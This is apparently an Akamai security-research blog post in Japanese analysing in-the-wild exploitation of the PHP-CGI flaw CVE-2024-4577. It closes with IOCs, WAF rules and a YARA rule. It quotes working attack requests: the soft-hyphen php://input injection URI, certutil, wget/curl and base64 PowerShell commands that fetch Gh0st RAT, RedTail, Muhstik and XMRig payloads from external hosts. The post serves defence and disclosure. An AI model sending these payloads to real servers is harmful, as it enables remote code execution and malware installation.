公開からわずか 1 日後に発生した CVE-2024-4577 の悪用
編集・協力:Tricia Howard
エグゼクティブサマリー
2024 年 6 月、CGI モードを実行しているインストールに影響を与える PHP の脆弱性である CVE-2024-4577 が公開されました。Akamai Security Intelligence Response Team(SIRT)は、この脆弱性を取り巻くアクティビティを監視しています。
この脆弱性は、主に中国語と日本語のロケールを使用する Windows のインストールに影響しますが、より広範なインストールに適用される可能性があります。
SIRT は、公開からわずか 1 日後にこの脆弱性を悪用しようとする多数の攻撃試行を観測しました。これは、攻撃者にとって悪用しやすく、即座に取り入れられる脆弱性であることを示しています。
その攻撃には、コマンドインジェクションや複数のマルウェアキャンペーン(Gh0st RAT、RedTail クリプトマイナー、XMRig)が含まれます。
Akamai App & API Protector は、Akamai のお客様を狙った攻撃を自動的に 緩和 しています。
このブログ記事には、ここで取り上げるさまざまな攻撃に関連する脅威の痕跡情報(IOC)の包括的なリストを掲載しています。
概要
近年、脆弱性の公開から悪用までの時間が大幅に短縮されています。実際、悪性の活動のほとんどはパッチ適用後の最初の月に発生します。2024 年 5 月時点で、脆弱性が公開されてから悪用が始まるまでの平均時間は、約 4 日 で、防御者が攻撃に備える時間はほとんどありません。これは脆弱性を利用した激しい攻撃のほんの一部にすぎず、攻撃者はワンデイ脆弱性を(場合によっては 数年前に発見された脆弱性さえも)悪用し続けて、労力に見合った見返りを得ようとします。
そのような攻撃の最近の一例として、PHP(バージョン 8.1.29 より前の 8.1.*、8.2.20 より前の 8.2.*、8.3.8 より前の 8.3.*)で発見された重大な 脆弱性 があげられます。この脆弱性の原因は、PHP および CGI ハンドラーによる特定の Unicode 文字の解析方法にあります。これを悪用することで、攻撃者はリモートコード実行(RCE)を行うことができます。この脆弱性は、非常に簡単に 悪用できます。Akamai は、さまざまな攻撃者がこの欠陥を悪用して脆弱なデバイスを標的とするのを観測しています。
このブログ記事では、Akamai が観測したこの脆弱性を悪用する試みのいくつかについて説明し、その影響を検討し、Akamai が収集した脅威の痕跡情報(IOC)を提示します。
CVE-2024-4577 の悪用
重大度を決定する要因の 1 つは悪用のしやすさであり、この脆弱性を悪用するのは攻撃者にとってそれほど難しくありません。RCE を成功させるために攻撃者がしなければならないのは、PHP コードをサーバーに送信し、それを解釈(誤解)させることだけです。
CVE-2012-1823と同様に、この脆弱性の悪用の基本は、php://input を使用してコードをリクエストの本文に埋め込むことです。PHP では、php://input は読み取り専用の I/O ストリームであり、リクエスト本文から生データを読み取ることができます。この攻撃でよく用いられるオプションは、PHP auto_prepend_file です。これは、メインファイルの前に自動的に解析されるファイルの名前を指定します。そのファイルの内容が最初に解析されるため、他のコードが実行される前に、攻撃者のコードが含まれてしまいます。
さらに、多くの攻撃者が allow_url_include オプションを追加することを選択しています。これにより、fopen や file_get_contents などの関数やリモートロケーションからデータを取得できます。
コマンドインジェクション
PHP の CGI モードでは、Web サーバーは HTTP リクエストを解析し、PHP スクリプトに渡します。そして、このスクリプトが追加の処理を行います。たとえば、クエリー文字列が解析され、コマンドラインを介して PHP インタプリターに渡されるため、http://host/cgi.php?foo=bar のようなリクエストが php.exe cgi.php foo=bar として実行される可能性があります。
これにより、コマンドインジェクションを実行するための道が開かれてしまい、php.exe を呼び出す前にインプットがサニタイズ(無害化)されます。CVE-2024-4577 は、攻撃者がコマンドラインをエスケープして引数を渡し、引数が PHP によって直接解釈されるようにすることができる脆弱性です。この脆弱性自体は、Unicode 文字を ASCII に変換する方法に存在しています。図 1(CVE-2024-4577 に関する watchTowr Lab の 記事 より転載)は、php.exe の 2 つの呼び出しを表しており、1 つは悪性で、もう 1 つは無害です。どちらが悪性でどちらが無害なのかを見極めるのがどれほど難しいかが分かります。
これらは人間の目には同じように見えますが、マシンによる解釈は異なります(図 2)。バイナリエディターでこれらの引数を確認すると、1 つ目のリクエストは標準のダッシュまたはハイフン(0x2D)を使用しているのに対し、2 つ目のリクエストは「ソフトハイフン」(0xAD)を使用していることが分かります。
この解釈の違いを利用して、攻撃が行われます。ユーザーが CGI ハンドラーにソフトハイフンを渡すと、回避する必要性が感知されません。PHP は Unicode 処理に最適なマッピングを適用します。したがって、ユーザーが実際にソフトハイフンを渡したとしても、標準のハイフンを渡すことを意図したものと想定します。このようにソフトハイフンが標準のハイフンとして解釈されるため、攻撃者はハイフンで始まるコマンドライン引数を PHP プロセスに追加して、RCE を成功させることができます。
この説明を要約し、すべての要素がどのようにつながっているのかを理解しやすくするために、実際に観測された悪性ペイロードの例(図 3)と、このリクエストを処理した結果としてホストシステムによって実行されるコマンド(図 4)を掲載します。
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
図 3:悪性リクエストの例
php.exe -d allow_url_include -d auto_prepend_file=php://input
図 4:処理後の悪性リクエスト
悪用の試みに関する報告
Gh0st RAT マルウェア
公開された脆弱性が攻撃者によって短期間のうちに悪用される傾向は依然として続いており、攻撃者はこの新しい脆弱性活用にいち早く着手しました。Akamai はこの脆弱性が開示されてから 24 時間以内に、この PHP の脆弱性を狙った攻撃の試みをハニーポットネットワークで観測しました。
そのような試みの 1 つに、15 年以上前から存在するオープンソースのリモート・アクセス・ツールである Gh0st RAT マルウェアが利用されていました(図 5)。これは UPX で圧縮された Windows 実行可能ファイルでした。
Content-Type: application/x-www-form-urlencoded
User-Agent: python-requests/2.22.0
URI:
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('certutil.exe -urlcache -f http://147.50.253[.]109:44119/phps.exe phpsm.exe&start phpsm.exe');?>
プロキシ IP アドレス:23.237.182[.]122
日付:2024 年 6 月 9 日
サンドボックス環境でこのマルウェアを実行すると、「Iqgqosc.exe」という追加の実行可能ファイルがドロップされます。これも UPX で圧縮されたファイルです。このファイルは接続されているドライブと周辺機器を列挙し、レジストリーにクエリーを行います。また、自身の名前を「A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe」に変更します。
このファイルは、ドイツベースのコマンド & コントロールサーバー 146.19.100[.]7 にポート 8001 経由でビーコンを送信しました。
IP アドレス 147.50.253[.]109 には Common Name(CN)「BangCloud」の証明書が複数あり、これはタイにある小規模のサーバー・ホスティング・プロバイダーに関連付けられているようです。また、この CN に関連付けられている IP アドレスのほとんどは同じ CIDR 147.50.253[.]109 に属しており、すべての IP アドレスが悪性ファイルへの接続について、VirusTotal で陽性と判定されていました。さらに、これらの IP アドレスのほとんどには、このような結果を導くためのハッシュとファイル名の重複がありました。図 6 は、提供された Gh0st RAT サンプルに関する MITRE ATT&CK ナビゲーターのプリントアウト画面です。
RedTail クリプトマイナー
SIRT ハニーポットでは、CVE-2024-4577 の公開から数日以内にこの脆弱性を利用した RedTail クリプトマイニングオペレーションが観測されました。攻撃者は、過去の RedTail オペレーションで見られた他のリクエストと同様のリクエストを送信して、「%ADd」でソフトハイフンの欠陥を悪用し、シェルスクリプトの wget リクエストを実行しました。このスクリプトは、同じロシアベースの IP アドレスに対して追加のネットワークリクエストを行い、RedTail クリプトマイニングマルウェアの x86 バージョンを取得します(図 7)。
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux; Linux x86_64; en-US) Gecko/20100101 Firefox/122.0
URI:
/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
POST DATA:
<?php shell_exec("SC=\$(wget -O- http://185.172.128[.]93/sh || curl http://185.172.128[.]93/sh); echo \"\$SC\" | sh -s cve_2024_4577"); ?>
このシェルスクリプトは、wget または curl のいずれかを使用してマイナーファイルをダウンロードしようとします。このとき、フォールバックの方式として Raw TCP 接続が使用されます。そして、現在の攻撃対象が所有していて、読み取り、書き込み、および実行の権限があるディレクトリーを検索します。ただし、「noexec」オプションでマウントされているディレクトリーと、「/tmp」および「/proc」を除きます。続いて、次のことを行います。
- システムのアーキテクチャを取得
- テストファイルを作成および削除して、書き込み権限をテスト
- 攻撃対象のアーキテクチャに基づいてペイロードをダウンロードして実行し、ファイルの名前を「.redtail」に変更
シェルスクリプト内のアーキテクチャには、Windows デバイスには適用できないものが含まれています。これは単に、攻撃者が一般的なスクリプトをこの脆弱性に合わせて特別に調整せずに流用した結果であると考えられます。
Muhstik マルウェア
ハニーポットでは、この脆弱性を悪用するキャンペーンが他にも観測されました。その 1 つが、Muhstik マルウェアのバージョンをダウンロードするシェルスクリプトです(図 8)。
User-Agent: python-requests/2.22
URI:
/?%ADd+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('curl 86.48.2[.]49/3sh')?>;echo 1337; die;
このシェルスクリプトは、「pty3」というファイルを別の IP アドレスからダウンロードします。このファイルは ELF ファイルであることが分かります。さらに分析を行うと、これは IoT サーバーや Linux サーバーを標的としていることが以前から 報告 されている Muhstik マルウェアのサンプルである可能性が高いことが分かります。そのマルウェアの目的は、クリプトマイニング分散型サービス妨害(DDoS)です。
このマルウェアは、以前に報告された Muhstik マルウェアのインスタンスと同様のパターンと命名規則(「pty3」など)を示しています。また、Mehstik マルウェアに関連付けられた複数のディレクトリー(「/var/run/pty3」、「/dev/shm/pty3」、「/var/tmp/pty3」、「/var/lock/pty3」など)を作成します。
さらに、呼び出されたコマンド & コントロールドメイン(p.findmeatthe[.]top)は、インターネット・リレー・チャット経由で通信する Muhstik マルウェアキャンペーンに関する 別の記事 で報告されています。
XMRig
Akamai が観測した、この脆弱性を悪用する 4 つ目のキャンペーンは、XMR Rig を利用し、次のコマンドを実行しました。
URI:
/test.hello?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input
POST DATA (Base64 Encoded):
<?php $cmd=base64_decode('cG93ZXJzaGVsbCAtQ29tbWFuZCAiJHdjID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgJHRlbXBmaWxlID0gW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcEZpbGVOYW1lKCk7ICR0ZW1wZmlsZSArPSAnLmJhdCc7ICR3Yy5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9kb3dubG9hZC5jM3Bvb2wub3JnL3htcmlnX3NldHVwL3Jhdy9tYXN0ZXIvc2V0dXBfYzNwb29sX21pbmVyLmJhdCcsICR0ZW1wZmlsZSk7ICYgJHRlbXBmaWxlIDQ5dzhnc0x3N1V3VVZzelVCdFl1amROMU1jTmtvZVl1Y1RjdGFlUFg4bm1iaktBQnpKOVMxcmlnV2RoNUVpVVQxejROUEFQY2h4VDdSYUpYTjNmVVJVcE02RjZLR2p5OyBSZW1vdmUtSXRlbSAtRm9yY2UgJHRlbXBmaWxlIg==');system($cmd) ?>
POST DATA (Base64 Decoded):
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://download.c3pool[.]org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile 49w8gsLw7UwUVszUBtYujdN1McNkoeYucTctaePX8nmbjKABzJ9S1rigWdh5EiUT1z4NPAPchxT7RaJXN3fURUpM6F6KGjy; Remove-Item -Force $tempfile"
挿入されたコマンドは、PowerShell を使用してスクリプトをダウンロードして実行し、リモートのマイニングプールから XMRig をスピンアップ(起動および初期化)し、その後、難読化のために一時ファイルをクリーンアップします。
緩和策
この脆弱性の影響を受ける組織や IOC の監視に関与する組織は、必要なパッチを迅速に適用することが推奨されます。
Akamai Adaptive Security Engine を自動モードで使用していて、Command Injection Attack Group を Deny に設定しているお客様は、上述のタイプの攻撃に対する緩和策が自動的に有効化されています。
Adaptive Security Engine を手動モードで使用しているお客様は、Command Injection Attack グループまたは以下のルールが Deny モードになっていることを確認する必要があります。次のルールのうち 1 つ以上が、ペイロードに応じてこの脆弱性を緩和しています。
- 969151 v1 — PHP インジェクション攻撃(オープニングタグ)
- 959977 v1 — PHP インジェクション攻撃(設定の上書き)
- 3000155 v1 — CMD インジェクション攻撃の検知(PHP/データフィルターの検知)
- 3000171 v3 — Web シェル/Backdoor ファイルのアップロード試行
これまでどおり、ルールセットに更新や追加がないか、コンソールを頻繁に確認する必要があります。脆弱性攻撃が公開された直後に、Akamai はこの脆弱性を悪用しようとしている大量のスキャンを観測しました。公に悪用されている一般的な脆弱性のほとんどと同様に、リクエストの大部分はバグ・バウンティ・ハンターやその他のスキャナーからのものでした。このトラフィックは、複数の Adaptive Security Engine ルールによって検知され、ブロックされました(図 9 および 10)。
しかし、この脆弱性を悪用しようとしていたすべてのトラフィックが、バグ・バウンティ・ハンターによるものではありませんでした。Adaptive Security Engine はこれらのリクエストをブロックしながら、自動的に緩和を実行し、ハニーポットで観測されたのと同じ悪性の攻撃からお客様を保護していました(図 11)。
さらに、Adaptive Security Engine によってブロックされた攻撃の 1 つは、ハニーポットで検知されませんでした。図 12 に示すペイロードでは、攻撃者は自身が制御しているサーバーからターゲットサーバーのルートディレクトリーにファイルをコピーしようとしていました。コピーされたファイル「up.txt」を利用することで、攻撃者は「/xl.php」エンドポイントを使用して追加のファイルをアップロードできます。攻撃者はこれを使用して、他の悪性ファイル(Web シェルやマルウェアなど)をアップロードできます。 最も重要なのは、ファイルをアップロードする別の方法を考案することにより、攻撃者は CVE-2024-4577 のパッチが適用された後でもアクセスを維持できることです。
結論
さまざまな自動化ツールが使用され、企業の監視が行き届かなくなっている状況の隙をついて、攻撃者は成功を収めようとしています。新たな脆弱性の開示後に防御者が自身を守るための時間がどんどん短くなっていることも、重大なセキュリティリスクです。特にこの PHP の脆弱性についてはこの傾向が顕著です。なぜなら、攻撃者が悪用しやすく、即座に取り入れられる脆弱性だからです。
Akamai SIRT は、このような脅威を継続的に監視して報告し、お客様やセキュリティコミュニティ全般の意識向上を図っていきます。Akamai が実施しているリサーチの最新情報をお求めの場合は、 X (旧 Twitter)で Akamai をフォローしてください。
Gh0st RAT
SHA256 ハッシュ
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e
ファイル名
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe
phps.exe
Iqgqosc.exe
IPv4 アドレス
147.50.253[.]109
146.19.100[.]7
23.237.182[.]122
BangCloud により、IOC と VirusTotal の対応する結果を紐づけ
147.50.253[.]220
147.50.253[.]222
147.50.253[.]225
147.50.253[.]219
147.50.253[.]231
147.50.253[.]99
147.50.253[.]100
147.50.253[.]228
147.50.253[.]5
147.50.253[.]4
154.197.12[.].156
147.50.253[.]110
147.50.253[.]102
147.50.253[.]218
147.50.253[.]23
147.50.253[.]11
147.50.253[.]163
147.50.253[.]2
147.50.253[.]116
147.50.253[.]18
147.50.253[.]109
147.50.253[.]106
147.50.253[.]112
147.50.253[.]111
147.50.253[.]7
147.50.253[.]104
147.50.253[.]167
147.50.253[.]119
147.50.253[.]113
147.50.253[.]103
147.50.253[.]107
147.50.253[.]105
147.50.253[.]114
147.50.253[.]108
147.50.253[.]101
147.50.253[.]117
147.50.253[.]115
147.50.229[.]12
MITRE ATT&CK テクニック
T1091 — リムーバブルメディアを介したレプリケーション
T1547 — ブートまたはログオンの自動開始の実行
T1056 — インプットキャプチャー
T1112 — レジストリーの変更
T1003 — OS クレデンシャルダンピング
T1120 — 周辺機器の探索
T1027 — 難読化されたファイルまたは情報
T1071 — アプリケーション・レイヤー・プロトコル
T1082 — システム情報の探索
T1571 — 非標準ポート
T1057 — プロセスの探索
RedTail
IPv4 アドレス
185.172.128[.]93
SHA256 ハッシュ
2c602147c727621c5e98525466b8ea78832abe2c3de10f0b33ce9a4adea205eb
0d70a044732a77957eaaf28d9574d75da54ae430d8ad2e4049bd182e13967a6f
ab897157fdef11b267e986ef286fd44a699e3699a458d90994e020619653d2cd
9753df3ea4b9948c82310f64ff103685f78af85e3e08bb5f0d0d44047c63c315
19a06de9a8b66196fa6cc9e86824dee577e462cbeaf36d715c8fea5bcb08b54d
ファイル名
sh - シェルスクリプト
X86_64 - Redtail ペイロード
.redtail - RedTail ペイロード
YARA ルール
rule redtail_miner {
meta:
author = "Akamai SIRT"
date = "06/24/2024"
version = "1.0"
description = "YARA Rule for Red Tail Crypto Miner and Shell Script"
strings:
$a1 = "rm -rf .redtail"
$a2 = "mv x86_64 .redtail"
$a3 = "mv i686 .redtail"
$a4 = "mv aarch64 .redtail"
$a5 = "mv arm7 .redtail"
$a6 = "./.redtail $1 > /dev/null 2>&1"
condition:
2 of ($*)
}
Muhstik マルウェア
シェルスクリプト SHA256 ハッシュ
1ae2fef05798f0f27e9de76fcef0217f282090fab1ba750623ca36b413151434
ELF ファイル SHA256 ハッシュ
9e28f942262805b5fb59f46568fed53fd4b7dbf6faf666bedaf6ff22dd416572
ファイル名
3sh - シェルスクリプト
pty3 - Muhstik マルウェアペイロード
IPv4 アドレス
147.139.29[.]220
86.48.2[.]49
185.201.8[.]176
194.59.165[.]52
156.67.218[.]115
ドメイン
p.findmeatthe[.]top
p.deutschland-zahlung[.]eu
p.shadow-mods[.]net